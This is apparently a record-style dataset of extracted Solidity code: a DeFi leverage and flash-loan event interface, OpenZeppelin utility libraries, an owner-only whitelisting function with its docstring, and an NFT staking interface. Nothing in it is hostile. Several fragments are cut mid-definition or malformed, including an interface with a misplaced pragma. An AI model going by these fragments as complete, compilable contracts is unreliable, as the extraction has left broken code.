amountFlashLoan, uint256 unitAmt, uint256 rateMode ) external; function emitCloseShortLeverageEvent( address leverageToken, address targetToken, uint256 gain, uint256 amountTargetToken, uint256 amountFlashLoan, uint256 amountWithDraw, uint256 unitAmt, uint256 rateMode ) external; function emitAddMarginEvent( address leverageToken, uint256 amountLeverageToken ) external; function emitRemoveMarginEvent( address leverageToken, uint256 amountLeverageToken ) external; function startEpoch(uint256 _rewardAmount) external; function isInRewardEpoch() external view returns (bool); function emitWithDrawEvent(address token, uint256 amount) external; function emitRepayEvent(address token, uint256 amount) external; function emitReleasePositionRewardEvent( address owner, uint256 epochRound, bytes32 merkelRoot ) external; function emitClaimPositionRewardEvent( address EOA, uint256 epochRound, uint256 amount ) external; function emitClaimOpenAccountRewardEvent( address EOA, address account, uint256 amount ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
function emitCreateAccountEvent(address EOA, address account) external;
interface EventCenterLeveragePositionInterface { function epochRound() external view returns (uint256); function emitUseFlashLoanForLeverageEvent(address token, uint256 amount) external; function emitOpenLongLeverageEvent( address leverageToken, address targetToken, uint256 pay, uint256 amountTargetToken, uint256 amountLeverageToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) external; function emitCloseLongLeverageEvent( address leverageToken, address targetToken, uint256 gain, uint256 amountTargetToken, uint256 amountFlashLoan, uint256 amountRepay, uint256 unitAmt, uint256 rateMode ) external; function emitOpenShortLeverageEvent( address leverageToken, address targetToken, uint256 pay, uint256 amountTargetToken, uint256 amountLeverageToken, uint256 amountFlashLoan, uint256 unitAmt, uint256 rateMode ) external; function emitCloseShortLeverageEvent( address leverageToken, address targetToken, uint256 gain, uint256 amountTargetToken, uint256 amountFlashLoan, uint256 amountWithDraw, uint256 unitAmt, uint256 rateMode ) external; function emitAddMarginEvent( address leverageToken, uint256 amountLeverageToken ) external; function emitRemoveMarginEvent( address leverageToken, uint256 amountLeverageToken ) external; function startEpoch(uint256 _rewardAmount) external; function isInRewardEpoch() external view returns (bool); function emitWithDrawEvent(address token, uint256 amount) external; function emitRepayEvent(address token, uint256 amount) external; function emitReleasePositionRewardEvent( address owner, uint256 epochRound, bytes32 merkelRoot ) external; function emitClaimPositionRewardEvent( address EOA, uint256 epochRound, uint256 amount ) external; function emitClaimOpenAccountRewardEvent( address EOA, address account, uint256 amount ) external; pragma solidity ^0.8.0; }
6,294,209
./partial_match/3/0x8252AaBFFa377a323F11DFa0d7cBB41409878BA3/sources/yaDelayu3.sol
Whitelist Many user address at once - only Owner can do this It will require maximum of 150 addresses to prevent block gas limit max-out and DoS attack It will add user address in whitelisted mapping/
function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{ require(whitelistingStatus == true); uint256 addressCount = userAddresses.length; require(addressCount <= 150,"Too many addresses"); for(uint256 i = 0; i < addressCount; i++){ whitelisted[userAddresses[i]] = true; } }
5,198,097
// SPDX-License-Identifier: MIT // File: contracts/INftStaker.sol pragma solidity ^0.8.4; /// @dev Interface allowing calling of stake and unstake on staking contract. interface INftStaker { function stake(uint256 _tokenId, address _tokenOwner) external; function unstake(uint256 _tokenId, address _tokenOwner) external; } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns 